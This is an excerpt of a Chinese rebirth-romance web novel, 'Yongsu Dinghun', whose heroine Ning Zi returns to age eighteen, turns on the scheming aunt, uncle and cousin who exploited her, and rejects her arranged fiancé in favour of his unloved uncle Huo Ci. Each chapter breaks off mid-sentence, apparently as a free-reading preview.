《庸俗订婚》 1. 第一章 《庸俗订婚》全本免费阅读 宁姿睁开眼,这一次头部的痛感减弱许多。 映入眼帘的是白到发青的天花板。视线渐渐下移,从模糊变得清晰。窗户半开着,果绿色窗帘被风一阵一阵扬起,如同翻滚的浪潮。 宁姿的心也澎湃着。 2000年…… 昏迷醒来后,她竟然回到了十八岁那年。 断断续续沉睡,又模模糊糊醒来,两三天过去了。耳畔不时有人聒噪。看清楚眼前卧室的陈设,缓慢翻身坐起,从床头柜里取出一面小镜子,映出清秀略显稚气的面容。皮肤虽有些苍白,却光滑平整,面颊饱满莹润。她总算确定这一切不是一场梦。 正在这时,木门被推开,露出一张中年女人的和善笑脸。 门口的人是宁姿的舅母冯秀英。她保养得算好,除去眼角几乎不见皱纹,正一只手端着个瓷碗走进来。见宁姿坐在床上,笑眼更甚,几乎不见黑眼仁,捏起嗓子喊,“老钟,姿儿醒了。” 当舅舅钟腾拖着臃肿的身体挤在房门口时,冯秀英已端着碗走到床边。 宁姿这才看清碗里的东西,是白粥,清汤寡水,半片菜叶子都不见,再冲水调稀一些,都可以称作是米汤了。 钟腾一拍大腿,姿态做作,脸上的横肉跟着抖,“哎,你这丫头总算是醒了,真叫人担心死。我瞧瞧烧退了没有。”说着话挨去床边,伸出肥厚的手掌就朝宁姿额头摸去。 宁姿敏捷地偏了下头,避开他的触碰,神色冷下几分。唇一抿,随后移开视线。 钟腾扑了个空,不免诧异。宁姿素来对他这个舅舅敬爱有加,今天倒反常。 “不烧了。”宁姿冷淡道。 钟腾当她是身体不适的缘故,没多想,收回手,掌心在裤子上摩挲了两下,“那就好。你舅母一大早就为你熬粥,忙前忙后脚不沾地。” 又来了,钟腾的拿手绝活——抓住点小事也要说得天花乱坠,就像是给了她天大的恩惠似的。 宁姿这回偏不顺他的意,“没想到熬白粥会那么费劲。” 冯秀英习惯性脸上挂着笑,此时表情却有点僵,她思维活络,立马找补说:“你烧才退,东西吃杂了不好,白粥最是养胃。” 宁姿心沉如海,不冷不热“嗯”了声。 冯秀英催促道:“你这孩子,说那么多话,粥都凉了,快吃吧。” 这回宁姿没搭话,端起碗,拿勺子舀了口粥送嘴里。 没味又夹生,难吃。 她表情不变,依然淡淡的,握着勺在碗里缓慢地画圈搅拌,玩似的,不肯再张嘴。 “这回生病主要得怪你自己体质弱。要是平时听我和你舅母的话,不挑食,也不至于淋场雨就病成这样。”钟腾摆出大家长的派头,说。 “原来是怪我。”宁姿唇角微微翘起,视线落在墙角,“我还以为该怪表妹擅自穿走我的外套,连伞也一并顺走了。” 她语气轻快,就像丝毫不把这件事放在心上,末了不忘补一句,“对了,也完全没有等我这个表姐一起打伞回家的意思。” “这事肯定是荔荔做得不够周全。”冯秀英和钟腾对他们那宝贝女儿钟荔荔是呵护得很,但又不能把黑的说成是白的,免得惹恼宁姿,于是冯秀英率先低头,“我是想着照顾你康复最要紧,等得空了再提着荔荔骂一顿,好让她知道凡事该以姐姐为先。又不好当着你的面,吵了你休息不说,对这个表妹你是最维护的。怕是说不了两句,又该第一个心疼。” “不是凡事该以我为先,而是不问自取和偷盗无异。”宁姿似笑非笑,“这回事发生在自家人身上,我受点罪也就算了。将来要是荔荔养成恶习,其他人可不会惯着她。不光会给她留下污点,怕是你们二老的颜面也要被她败光。” 上一世,钟荔荔偷了宁姿的丈夫,是将宁姿推向绝境的刽子手。 这番话语气不重,但说得舅舅、舅母面上无光,青一块,白一块。 冯秀英把钟荔荔叫进屋,难得板起脸,“跟你表姐道歉。” 她知道,只要自己对女儿严厉,宁姿就会心软,这事也就算了。 “姐,对不起。”钟荔荔心里是不情愿的。可她虽然年纪小,才十六岁,受到爸妈的长期熏陶,心眼却不少。非常清楚现在还不是和宁姿撕破脸的时候。 手指头悄悄在大腿根上拧了一把,逼得眼圈发红,含哭腔说道:“我真是愧疚死了,看到你病得那么难受,我恨不得替你。” 宁姿忍不住扯了下唇角。看着这情绪饱满、关切备至的一家三口,不知道的还真当他们把她宁姿当作自家人。 父母早亡,只留下房子和一间百年老店“红鼎轩”给她。宁姿年纪小,“红鼎轩”由舅舅夫妇代为经营。同时,他们也以宁姿监护人的身份顺理成章搬进了宁家别墅。 鸠占鹊巢,钟荔荔刚进别墅就把宁姿的大卧室给占了。宁姿不得已只能搬去西面的小卧室居住。偏冯秀英还以一副慈爱口吻苦口婆心讲述钟荔荔皮肤敏感,受不得西面阳光曝晒,不得已才换房。好像宁姿不应,就成了个不顾妹妹死活的恶毒表姐。 一家三口都是披着虚伪外壳的笑面虎,惯于道德绑架。明明沾宁姿的光住上大房子,店里头也捞了不少油水,偏还让所有人都认为他们是好人,好心收养亡姊的遗孤。 上一世,就连宁姿自己也是这样以为,先是受到恩情胁迫,放弃心仪的建筑专业,转读舅舅、舅母推荐的幼师专科。后来钟荔荔成了大学生,每每被人拿来和宁姿比较,都说钟腾、冯秀英夫妇把孩子教得好,有出息,更像“红鼎轩”继承人该有的样子。 后来更是为了保住因钟腾夫妇经营不善濒临破产的“红鼎轩”,答应和霍亦辰结婚,断送了自己的一生。 想到这儿,宁姿几乎埋不住眼底的冰锋,只得低下头掩饰。手指不自觉用力,浅绿色被子立即现出一道折痕。 钟荔荔看宁姿不说话,觉得这事算是过去了,摆出天真的笑脸,声线悠扬说:“姐,姑妈生前是不是留下了条丝绸裙?” 宁姿立刻想到她指的是哪一件礼服。 母亲生前喜欢收集漂亮的服装和饰品,其中一条裸色丝绸镶满碎钻的礼服裙最是华美。那是父亲从拍卖会上拍下的藏品,曾被世界知名女歌星穿过,是一件古董裙,作为那一年结婚纪念日礼物送给母亲。 “哪一条?”她故意装作不记得。 钟荔荔提醒道:“就是裸色那条,镶了很多碎钻的。” “有点印象,怎么了?”宁姿略一挑眉。 “毕业典礼,我作为二年级学生代表上台给毕业生献花,之后还有演讲和聚餐环节,很多男生、女生都会穿礼服出席。我没合适的礼服,所以想借那条裙子穿一下。” “当然没问题。”宁姿一口答应,露出笑容,钟荔荔的心也跟着放下。 这倒让宁姿想起前世的一段小插曲。 前世,她把丝绸裙借给钟荔荔穿,还贴心地为她改好尺寸。 毕业典礼上,钟荔荔大放异彩,成为全场焦点,又在聚餐时“不经意”说出这条裙子是珍贵的藏品,引得那群没见过世面的学生羡艳不已,将其簇拥在人群中心,左一句夸耀,右一句赞叹,吹捧得她整个人飘飘然,虚荣心得到了极大满足。 就连作为宁姿未婚夫的霍亦辰都多看了她几眼,回家就闹着要把婚约对象换成钟荔荔。受到霍家老太严厉打压,才放弃这个 2. 第二章 《庸俗订婚》全本免费阅读 毕业典礼规模虽不大,但从现场布置到每一个环节都能看出学校方面是用了心安排的。场地选在校内体育馆,四面墙前放了许多以金灿灿向日葵为主体的花篮,象征着朝气蓬勃的莘莘学子。 钟荔荔自然不肯穿那件土气的衬衫裙,最后选了件日常款的连衣裙,泯然众人。她可是一早放话吹嘘过自己会穿特别的礼服,身边的那群小姐妹们全都既嫉妒又好奇地拭目以待,结果令她们大失所望。 “荔荔,你不是说会穿一件特别的礼服吗?这条裙子好像不是礼服,而且你之前也穿过。”小姐妹一号提出疑问。 钟荔荔不耐烦地皱紧眉头,“你懂什么?我们还是学生,穿礼服老气横秋的,倒不如穿一身学生装清爽,更符合身份和今天的主题。” 她这番强行解释显然没法说服别人,正巧霍亦辰从她身边经过。 关于宁姿和霍亦辰的亲事钟荔荔也是最近才知道的。在霍家老太找上门前,就连宁姿自己也不知道。 霍亦辰是学校里的风云人物,霍家长孙,江城餐饮业排名第二霍氏饭店的继承人。身材高大,样貌英俊,是众多情窦初开女生心目中的白马王子。自从知道宁姿要和这样的人结婚,钟荔荔就妒火中烧,心里盘算着找机会和霍亦辰“结识”一番,最好迷得他舍了宁姿,娶了自己。 然而今天她的如意算盘算是落空了。霍亦辰只平淡地扫了她一眼,迅速转开目光,找自己相熟的朋友去了。 钟荔荔五官算是清秀,身材却一般,干瘪得很。没有古董裙加持,根本算不上出挑。霍亦辰作为霍家继承人,从小不缺各类美女往身上扑,对普通的钟荔荔当然也留不下什么印象。 钟荔荔心情跌至谷底,就连后来上台演讲都磕绊了几次。下台时,观众席响起稀稀拉拉、参差不齐的掌声。 学生主持人在台侧拿起话筒—— “下面有请优秀毕业生代表宁姿上台讲话。” 掌声停下来,宽阔的体育馆一时显得过于安静。高跟鞋与木制地面碰撞发出的声响清晰又规律。 宁姿平日都以朴素装束示人,今日为搭配礼服特意从母亲的遗物中择出一双裸色经典款高跟鞋。她的脚很瘦,裸露出的皮肤清白又柔腻,脚踝纤细。再往上是匀称白皙的小腿,于柔滑裙摆的遮蔽下若隐若现,宛如刚摘的嫩藕,恍然间一窥,仿佛还含着清新的水露。 曼妙纤细的身材被勾勒出。钟荔荔费尽周折也套不上的裙装,宁姿穿上却贴合无隙,犹如量身定制。纤腰盈盈一握,裙身自膝处收束,恰到好处突显出腿长优渥的比例。行走间,碎钻流光熠熠生辉。韵味深悠的古董裙被穿出几分灵动,青春少女也被装点出别致的温柔与风情。 现场依然一片寂静,与先前不同的是所有人的目光都聚集在宁姿身上。实在太过耀眼,好似有一束追光笼罩着她,光是扫上一眼,就再难移开目光。 宁姿步伐从容不迫,好似察觉不到旁人的目光,站定在讲台中央,调整了下话筒的高度,随即绽开个清浅的笑容,“老师、同学们好,我是毕业生代表宁姿,很幸运站在这里和大家交流学习经验。” 她的声线温润悦耳,娓娓道来,认真传授复习方法。不止讲述理论,不时插上段生趣的实例佐证,容易令人听进去,不枯燥。不知不觉间,演讲到了末尾。 “以上就是我的学习经验,望对学弟、学妹们有助益。”话音落下,宁姿并没下台的意思,接着又开口说,“在此感谢学校对我的悉心培育,也感谢家人对我的支持与关爱,尤其是我的表妹——钟荔荔。” 钟荔荔没想到宁姿会突然点她的名字,众人目光跟随宁姿落到她脸上。她心里突然起了慌乱,不知道宁姿接下来会说什么,然而答案很快揭晓—— “父母离世得早,我变成了孤身一人。是荔荔和她父母搬进家里照看我,还替我打理‘红鼎轩’。” 这话一出,围绕在钟荔荔身旁的小姐妹们困惑了,“荔荔,你不是红鼎轩的继承人吗?怎么宁姿说你们一家是代她打理?” 钟荔荔一咬牙,眼角现出血丝。 学校里很多人知道她俩是表姐妹,但宁姿低调内敛,形容朴素,不像她善于装扮、时尚靓丽,加上她有意无意漏漏风,大家都以为她钟荔荔才是百年老店“红鼎轩”的继承人。至于宁姿,不过是个寄住在她家大别墅里的可怜亲戚。 “我什么时候说过?都是你们说的!”钟荔荔声调扬高,气得尾音都破了。 “的确是我们猜的,但你也没否认过啊,还一口一个‘红鼎轩’振振有词,好像自己是那家大小姐一样。搞半天,就是个跟着沾光的。”那几位狐朋狗友可不买账,假面具被戳穿了,谁也懒得再惯着她。 “闭嘴!”钟荔荔低吼一声,表情像要吃人。 都怪宁姿,好端端的为什么突然提这些?故意炫耀吗? 她怨毒的目光射向宁姿,后者踏着雷动的掌声下台。 “我们学校什么时候出了这号大美女?怎么到毕业我才发现?” “原来只知道宁姿成绩好,人总是阴沉沉的,没什么存在感。没想到稍加打扮竟然那么漂亮,是我眼拙了。” “原先还以为钟荔荔是红鼎轩老板的千金,没想到宁姿才是,太离谱了。” ——人群议论纷纷,不论男生还是女生目光都没舍得从宁姿身上挪开,神色各异,有仰慕,有惊艳,有嫉妒…… 霍亦辰的目光也一直追随宁姿。 对这个长辈选中的未婚妻,从知道亲事开始,他就刻意留心过。诚然,宁姿的样貌不差,但总是装扮得朴实土气,性格内敛沉闷。额前厚重的刘海压抑得很,遮住眼睛,让人看了都觉得透不过气来。 今天她换上一袭丝绸裙,又把刘海梳上去,露出光洁无瑕的额头。这才发现,原来她的五官那样秀丽,像是拿工笔细细勾勒出的墨画般清婉动人。 “亦辰,你未婚妻不就是红鼎轩继承人吗?原本还以为是钟荔荔,难道是宁姿?”朋友拿胳膊肘轻撞了下霍亦辰,好奇问道。 霍亦辰不假思索点头,“嗯。” “哎,老天真是不公,怎么什么好的都分配给你了。”朋友夸张作态,又拿手肘对着霍亦辰捅了捅,“你未婚妻来了。” 霍亦辰抬眼,果然,宁姿提着裙边朝他徐徐走来。 “是来找你的吧?”朋友的语气更加兴奋。 霍亦辰没说话。他是骄傲的霍家少爷,不会起身迎她,下颌微扬,等她走到自己跟前来,却在她错身而过的一瞬间,表情一僵。 没错,宁姿只是路过,连一个多余的眼神都没给他,好像根本不认识他这号人。 上一世,她受钟腾夫妇恩情胁迫,也为保住父母产业而妥协结婚。在经历打压、背叛,跌入深渊后,心如死灰。 再见霍亦辰,她恨不得冲上去甩他几记响亮的耳光,再狠踹一脚他的腹部,这样都不算解气。但她忍住了,不是看在这一世霍亦辰并不知往后发生那些糟心事的份上,而是不能平白无故殴打霍家继承人,以免“红鼎轩”宣告破产,父母生前的心血付诸东流。 于是强压下眼底的厌恶,撇开眼,从他身边经过时,脚步都加快许多。 “你未婚妻怎么不理你?”朋友看不懂气氛,问霍亦辰。 霍亦辰脸色一黑,语气生硬道:“我还 3. 第三章 《庸俗订婚》全本免费阅读 “噗通”一声,霍亦辰跌进水池,溅起大片水花,浑身凉透了。 他好歹比钟荔荔适应得快,胳膊晃了几下稳住重心,站起身,一手把打湿的额发往上捞,一手拎小鸡似的拽起钟荔荔。再往岸上一看,空荡荡的,宁姿早已不见了踪影。 他咬紧牙,夜风一吹,不自觉打了个冷颤。 · 夜空澄净,零星闪烁。 宁姿心情大好,脚步轻快,嘴里哼着悠扬的小调。 看那对狗男女狼狈的样子真爽快。但她今天来并不单是为打压钟荔荔,还有别的目的——她要找一个人。 又一缕风拂过,枝头颤巍巍的树叶坠下来,擦过宁姿光滑如玉石的圆润肩头,轻敲在男人清白的指节上,弹了一下,才落到地面。一道颀长的身影与宁姿擦肩而过。 路灯微微闪烁了下,洒下浅淡光晕。两人落在地面上的影子渐渐缩小,于交错的一瞬间融在一起,难分彼此。 宁姿顿下脚步,伸手拉住他胳膊。触感紧实,肌肉线条起伏,不像看上去那样清瘦。 霍辞也停住了,微偏过头,目光从远处收回,落在宁姿脸上。 灯光下氤氲着昧色,男人足比女孩高出一个头。宁姿不得已仰起脸,晶莹的面容被镀上层浅淡的暖金,绒毛细腻,眉目如画,满是生机。 霍辞睨着她,神色疏淡至漠然。他比宁姿年长四岁,轮廓冷硬,英挺的五官收势锋利,眼中似沉着一片冰川,全无少年的张扬意气,拉长的眼尾处泛着阴郁。 这人是冰箱变的吗? 宁姿感觉自己胳膊上起了层鸡皮疙瘩。 “你认识我?”他声线低沉,音量不大,却极具穿透力。 上一世,她也是在毕业典礼的夜晚第一次见到霍辞。他顺路来接霍亦辰,时间还早,独自在小树林里抽烟。那时的宁姿无人问津,一个人外出透气,远远瞥见了那道同样孤独的身影。 再见霍辞是在她和霍亦辰的婚礼上,简单打了个招呼,没说别的话,那一次后再无交集。 听说他独立创业,成立了公司,几经波折起起落落,公司规模扩大,成功上市。本人荣登福布斯富豪榜。 人不可貌相,宁姿越发确信这句话。谁能想到眼前仿佛被阴云笼罩的男人日后竟能达到那样遥不可及的高度。 见宁姿不说话,只定定看着他,霍辞淡道:“松手。” 宁姿这才回神,忙叫他的名字,“霍辞。” 霍辞没回应,眉梢微动,摆出副静候下文的表情。 他这样冷淡,使得宁姿生出莫名的紧张感,发音也有些干涩,“我叫宁姿,不知道你有没有听说过我,我是红鼎轩的继承人。霍家老太有意撮合我和霍亦辰订婚。”提到订婚,宁姿有意停顿片刻,瞟了眼霍辞。 他表情依旧冷淡,纹丝未变。 宁姿豁出去了,顾不得刚才的话他有没有入耳,直接点明来意,“我想请你帮个忙。” “我为什么要帮你?”他不假思索反问。 不是“帮什么忙”,而是“我为什么要帮你”,换句话就是“你能给我什么好处”。非常现实,也很直接。 宁姿喜欢和直接的人对话,于是也收起讨好的姿态,直接道:“我能改变你我的处境,让我们去到更高的位置。”末了补上一句,“我们本该去更高的位置。” 一声低笑溢出,很轻,但在寂静的林边小道里显得格外清晰。听了她的话,霍辞唇角牵起,即便是笑,也丝毫不减阴郁。 宁姿看出来了,他那是赤裸裸的嘲笑,把她说的话当作笑料,但她并不在意,抬手利落地捋了把挂在肩上的发丝,继续说:“拿出勇气试一下,大不了就是一场空。况且我并不是要你上刀山下火海,只不过是希望你帮个微不足道的小忙罢了。” 话说完,宁姿松开手。 霍辞安静地看着她,眸底漆深,仿佛将无边黑夜融于其中。 · 钟荔荔落水出丑一事在学校里传开了,还被不少同学亲眼目睹,回家后哭了整夜,冯秀英安慰也不好使,第二天就受凉病倒了。 那天后,钟腾夫妇看宁姿的眼神十分怪异。宁姿装作浑然不知,该吃吃,该睡睡,直憋得他俩忍不住主动找她谈话。 地点选在客厅。冯秀英耐得住性子,先给宁姿倒杯茶水,又端了盘柠檬味的起司蛋糕。 宁姿端起盘子小口吃,神色怡然。 冯秀英和钟腾对视一眼,率先打开话匣子,“荔荔烧退了,你不必担心。那孩子还觉得冷,四肢绵软,胃口也不好。” “舅妈怎么不去照顾她?”宁姿不咸不淡地问。 “你们好端端地参加毕业典礼,怎么荔荔就落了水?”钟腾质问道。 “当时天黑,我没看清楚,大概是没站稳。” “听荔荔说,你当时在她身边?”钟腾不依不饶。 “是呀,我还拽了她一把,可惜她挣扎得厉害,没拉住。这些你都听她说过吧?”宁姿说着话,又叉了一小口蛋糕送入口中,一副唠家常浑不在意的样子,看得钟腾胸口冒火。 “之后你去哪儿了?” “找人救她。”宁姿答,“听舅舅的语气,好像在责怪我。” 她耷下眉梢,微垂下脸,眼眸仿佛笼上层昏蒙蒙的雾。金属制的小叉子搁在瓷碟里,发出清脆一声碰响。摆出一副受委屈的表情,语气也跟着低下去,“真羡慕表妹,上回我发烧,舅舅就没这么严厉质问过她。” 冯秀英一把攥住宁姿的手,施展招牌慈爱笑容,“你舅舅是关心则乱。你俩都是我们的心肝肉,尤其是你,我疼你比疼荔荔还要多。” 紧接着给钟腾使了个眼色,钟腾会意,换了副面孔,缓下语气说:“是呀,填报志愿的日期快到了,这两天我和你舅妈一直在研究这事。” 原来是在唱这出戏。 宁姿在心里冷嘲,面上不显山不露水,平淡道:“我已经决定了,读建筑设计。” “不行。”钟腾立马否决。 “是呀姿儿,再考虑一下。学建筑得成天在外面跑,日晒雨淋的,吃苦受累。再说,你马上就要和霍少爷订婚了,接着就是结婚,唯一的任务就是做好霍少爷的贤内助。依我看,没必要非读大学不可。古圣贤都说了,女子无才便是德。你学那么多,弄不好还遭夫家嫌弃。”冯秀英在一旁敲边鼓,“我和你舅舅都替你想好了,不如读个专科,学幼师,得个贤惠的名声,对以后生养孩子也有好处,霍少爷一定满意。” 宁姿淡笑,只是这笑意不达眼底,“荔荔毕业时,你们也会劝她放弃读大学的机会,转读专科?” “够了,你语气不阴不阳的做什么?难道我们还会害你不成?考虑这么多,还不是为了你婚姻幸福。”钟腾蹙起稀疏的眉头,摆出副大家长的作派。 冯秀英则继续唱红脸,“你就听话吧,能和霍家那样的人家结亲简直是烧香拜佛都求不来的好事。你一个女孩子家,还是安分点,收收心。” “我明白了。”宁姿语气平和。就在钟腾夫妇以为她一如既往妥协时,却听她继续说,“原来都是为了我和霍亦辰的婚事。既然如此,那我悔婚。那样就不用在乎贤惠的名声,没人嫌我学历高,更不用考虑生养孩子的事,可以学我想学的建筑设计,所有麻烦都一次性解决。” “不行。”钟腾大声喝道,“简直胡闹,你把婚姻当儿戏吗?” “恰恰相反,我是经过深思熟虑的。结婚是为获得幸福,如果成就这段婚姻反而需要我妥协放弃,那又谈什么幸福,不如不要。”宁姿神情严肃起来。 冯秀英见势不妙,赶紧劝阻,“这不是还在商量吗?你这孩子何必说气话。” “舅妈,我不是小孩子了,也没有说气话。我的态度很明确,只一 4. 第四章 《庸俗订婚》全本免费阅读 霍氏饭店自开业来,生意一直红火。消费水准较其他饭店略高,装潢、服务、饮食品质皆有保障。对江城人来说,是商业谈判、家族聚会的优质选择。 钟腾把宁姿的想法传达给霍家。霍老太本打算在“红鼎轩”请客吃饭,宁姿表示客随主便,将地点定在霍氏饭店。 本来只有宁姿和钟腾夫妇出席,钟荔荔吵着说病好了,非要跟去。一大清早就开始鼓捣,衣服试了一件又一件,妆化得浓艳,好像订婚的主角是她一样。 宁姿反而装扮得素净,只穿了件棉麻质地的白色背心裙,乌发披肩,没多余装饰,秀丽面庞不施粉黛,气韵芳华。 钟腾开车,一路上非常安静。到地方后,泊车员代为停车,迎宾领宁姿四人进了三楼包厢。 刚一开门,端坐红木圆桌正中位置的霍家老太稍抬起手,示意孙子霍亦辰扶她起来。 霍老太原名邵薇,个子不高,身材瘦小,但精神头十足。脸上布了岁月风霜的痕迹,一双眼却不昏浊,亮得很。 她是个厉害人物,年轻时陪丈夫创业,从小饭馆做到大饭店。对内持家有方,教养子嗣。霍老太爷去世后,独自撑起偌大的霍氏饭店,生意非但没衰落,反倒蒸蒸日上,做到了江城数一数二的位置。 今日,霍老太穿了身黑色滚红边丝绒改良旗袍,夹银丝的头发盘在脑后,没复杂装饰,手上戴了个翡翠扳指,气韵不俗。 “宁姿来了。”霍老太本神色端肃,一见宁姿露出笑容,态度和蔼。 “霍奶奶,身体可好?”宁姿握住老人家的手,笑容发自真心。 “好,快坐下。”霍老太没松手,拉她坐到自己身边。按理说小辈该入座下首,但钟腾夫妇不好开口,只得领着钟荔荔坐到边上。 即便被无视,钟腾还是腆着脸讨好,“老夫人神采奕奕,看着比上回见时更显年轻。” “是吗。”霍老太想和宁姿讲话,被打断,笑容淡去不少,“上周病了一场,憔悴许多。” 钟腾尴尬,又问:“好些了吗?” 这不是废话吗?没好,人怎能坐在这里讲话? 连钟荔荔都看不下去,倾过身讨巧卖乖喊道:“霍奶奶。” “这位是?”霍老太表情茫然。 钟荔荔笑容一僵,解释,“我是钟荔荔,宁姿的表妹,上回您见过我。” 霍老太反应过来,微点头,“有印象,今天你脸上弄得紫一块,红一块,跟唱戏的一样,差点没认出来。” 这下钟荔荔脸上又多出块颜色——铁青。 宁姿倒了杯热茶,将杯子推到霍老太面前,“最近落雨频繁,温度变化大,常备件开衫加冷热,保重身体。” 霍老太笑着点头,“点了几样新研制的菜,你替我尝尝。” 霍亦辰坐在霍老太另一边,从宁姿进屋起,他的目光就不时落到她脸上。 女孩面容素净,五官柔美,鹅蛋脸饱满流畅,略含稚气,一颦一笑十分生动,与过去留给他暮气沉沉的印象相去甚远。 说话的空隙,宁姿抬起头,目光逡巡,像在找什么,正好和霍亦辰眼神相接,眼里飞快闪过一丝厌恶,别过头继续和霍老太说话。 厌恶? 霍亦辰不明所以,再看女孩神色如常,依旧宁和,只当自己先前看错了。 此刻宁姿的心思可没放他身上,她留心观察过,除门口守候的霍家佣人外,屋里只有霍老太和霍亦辰。尽管不死心,往犄角旮旯里扫了一圈,依旧没看见期盼的那道身影。 难道他真不来? 宁姿垂下眼,门忽然开了。侍者身后走进一道高挺清瘦的身影,包厢内所有人的视线都集中在来人身上。 霍辞套了件黑色卫衣,搭配休闲裤。松松垮垮没版型的衣服被他直角肩硬撑起,模特般有型。风格随性,并不庄重。但今天他不是主角,无需像霍亦辰那样一丝不苟、西装笔挺,况且向来没人在意他。 进门后,霍辞没张口,点了下头,算是打过招呼。霍老太轻描淡写瞥他一眼,看不惯这副没礼数的样子,冷下声问:“你怎么来了?” 霍辞兀自走到大圆桌没人的那方空座坐下,淡淡答道:“顺道来吃饭。” 霍老太不打算继续和他说话,转头又露出笑容向宁姿推荐新菜。宁姿乖巧回应着,悄悄瞟了眼霍辞。他低着头,漆黑额发偏长,遮住深邃眉眼,完全没和人交流的意思,整个人像被罩上层玻璃罩子,和外界隔绝开,透着孤僻和古怪。往两耳送入耳机,长线蜿蜒着拖下来,旁若无人听起了随身听,不知是在听歌还是别的什么,总之整个人脸上写着一句话——你们说什么,都跟我无关。 受冷落的钟荔荔凑到冯秀英耳边好奇问:“这人是谁?也是霍家人吗?” 冯秀英低声答:“应该是霍老夫人的小儿子,从小在国外长大。” “那不就是霍亦辰的小叔?” 冯秀英点头,把嗓音压得更低,“你也看出来了,霍老夫人不待见他。外界有传言,说他是霍老爷的私生子,为维护颜面,霍老夫人不得已把他认作自己的儿子,这才放去国外那么多年,眼不见为净。回国后也不常露面,毕竟家丑不可外扬。” “那今天他怎么会出席?”钟荔荔不解。 冯秀英摇头,“这就不清楚了。” 母女俩一直说小话。另一边,霍老太和宁姿闲话聊得差不多了,放下筷子,切入正题,“你爸爸算是我看着长大的……”叹了声,一只手放在宁姿手背上,“你现在这么优秀,父母泉下有知,肯定也放心。” 提到过世的父母,宁姿心有感触,“我爸生前常教育我,人的一双眼长在前面,得朝前看。即便世事无常,但厚重的感情放在心里,足以缅怀一生。最要紧的还是过好当下。” “小小年纪就如此智慧通达,真是个好孩子。”霍老太越看宁姿越满 5. 第五章 《庸俗订婚》全本免费阅读 毕业典礼那个夜晚,路灯昏黄,给周边景物铺洒上一层浅薄的金色。细小飞蛾于光晕里盘旋。树叶被风卷起,簌簌落下,发出微弱的沙沙声。 六月的风并不冷,宁姿还是缩了下脖子。她仰头盯着霍辞,眼眸像浸过水一般清亮。话说完,果断松开手,目光却不移转,依旧充满祈盼地锁住他。 霍辞的视线不知怎么的下滑到她的唇瓣上,淡粉色,肉眼所见的柔软。他单手抄兜,笔直站立,面无表情地回看她。 “你想要我做什么?” 最终还是霍辞先开口,尽管语气依旧冷淡,女孩漂亮的杏眼迅速聚拢两团光亮,皓若云中月,柔似山尖雪,“这周内,两家人会聚在一起谈婚事,你要出席。” “这么简单?”霍辞问。 宁姿点头,“就这么简单。” “你有什么打算?”霍辞难得起了情绪,目光中多了分谨慎。 宁姿轻“啊”了一声,莞尔,“到时候你来就知道了。” 后来,霍辞真的出现了。他虽姗姗来迟,但还是照她的意思出席这场饭局,期间一直戴着耳机。没听歌,也无任何声音。他只是习惯性戴耳机,将自己与外界隔绝开来,直到宁姿语气柔和地说——“不过联姻对象……我要自己选。” 霍辞置于桌面上的右手弹了下,左手在桌布下虚握蜷起。 宁姿嗓音虽柔,语气却坚定,白皙修长的脖项挺直,决心强劲,两只手心凝满汗水,指节颤抖。 上一世她嫁给霍亦辰,遭受背叛,丈夫与表妹出轨,被发现后反过来迫害她,使她失去腹中胎儿。倒在冰冷的血泊中,回望短暂又悲苦的一生,觉得真是荒唐。 再醒来,她回到十八岁,老天给了她再一次机会,下定决心改变命运,绝不重蹈覆辙。 回忆与现实交织,痛与恨、苦难与希望统统埋藏在明丽的笑容下,宁姿从容起身朝霍辞走去。霍辞怔了下,木木坐着,纹丝不动。 懵懵懂懂间,他忽闻到一股清淡的香气,是从宁姿发间传来的。她俯下身,柔顺发丝自他腕处滑过,掀起酥酥麻麻的触感。霍辞看着她放大的脸,肌肤清透,毫无瑕疵,玉石般光洁,没有躲闪的想法,听之任之。 宁姿把他的耳机取了下来,确保他能听见自己说话,开口道:“我要嫁的人……是他。” 霍辞张开嘴,手指蜷起又松开,眼底浓烈的情绪一闪而过,令人来不及捕捉。 “什么?”第一个惊声质问的人是霍亦辰,他弹簧似的站起来,满目惊愕,怀疑自己听错了。 霍老太、钟腾夫妇、钟荔荔也被惊得说不出话来,尤其是钟荔荔,双目撑大几近圆型,把额头挤出一片抬头纹,表情像在说——她是不是疯了? 相比之下,被求婚的当事人霍辞是所有人里反应最平淡的。他微仰头看了眼宁姿,站起身。 原本俯视男人的宁姿忽然需要仰头才能与他对视,被罩在日光从他背后投下的阴影中,压迫感顿生,不自觉捏了下手中的耳机线。 霍辞目光平淡,唇角微扬,似乎在笑,但配上那双深邃幽暗的眼瞳,显得尤其阴沉,看得近在咫尺的宁姿头皮发麻。他沉着嗓音道:“别开玩笑了。” “我没有开玩笑。”宁姿挤出一丝微笑,神情认真,像日光下秀丽高傲的白天鹅,“我是认真的。” 钟腾回过神,肥掌重重拍在桌面上,震得杯碗一颤,茶水都溅了出来,也跟着站起来,“混账!你也不看下场合,竟敢胡闹。” 宁姿把耳机塞到霍辞手中,转过身,扬起精致的下颌,“我不是在胡闹,今天饭局的目的是谈婚事,我正在谈。” “谈什么?最近你越来越放肆,我们顺着你,你不但不反省,反而变本加厉跑到外面来丢人现眼!”钟腾喝道。 “在舅舅看来,和霍辞先生订婚是件丢人现眼的事吗?”宁姿反应很快,反问道。 钟腾一时语塞。虽说霍辞不受霍老太待见是人尽皆知的事,但毕竟是霍家人,轮不着他编排。 场面一时冷到极点,冯秀英愁云惨淡地望向宁姿,说:“姿儿,你别任性了。今天大家是为你的事聚在一起,都是为你好,怎么就不懂事呢?” 宁姿驳道:“怎样算懂事?怎样又算不懂事?从小舅舅、舅妈总把为我好挂在嘴边。难道事事顺你们的意就是所谓的为我好?样样听从你们安排才算懂事?这究竟是关爱,还是逼迫和绑架?” “你这孽障,竟说出这番狼心狗肺的话!”钟腾气得脸红脖子粗,喊破了音。 宁姿神色淡然,冷眼一扫,“舅舅是要和我断绝关系吗?” 一句话让钟腾像被哽到,张着嘴样子滑稽,却说不出话,脸上红热还没褪,气焰已弱下来。 这话以前的宁姿绝说不出口,现在的她,他这个做舅舅的都看不懂。宁姿父母早立遗嘱,不论是“红鼎轩”还是别墅都归属女儿。他担心只图一时痛快宣泄情绪,真被扫地出门。 冯秀英赶紧劝和,“老钟,话说得那么难听干什么?吓到孩子了。” 又反过来安抚宁姿,“姿儿,你舅舅没别的意思,只是担心你没想清楚。” 宁姿淡笑,不置可否。 霍老太一直没出声,除了刚听到时十分讶异,后来面色归于平静,问宁姿,“孩子,你是一时意气,还是有别的原因?没关系,尽管说出来。” 霍辞那双墨瞳也锁紧她的脸,含着探究,不肯错过分毫细微的表情。 宁姿走到霍老太跟前,蹲下身,目光恭敬地凝视她,柔下声道:“不是出于意气,而是经过深思熟虑。我想嫁的人是霍辞,仅此而已。霍老夫人,希望得到您的首肯和祝福。” 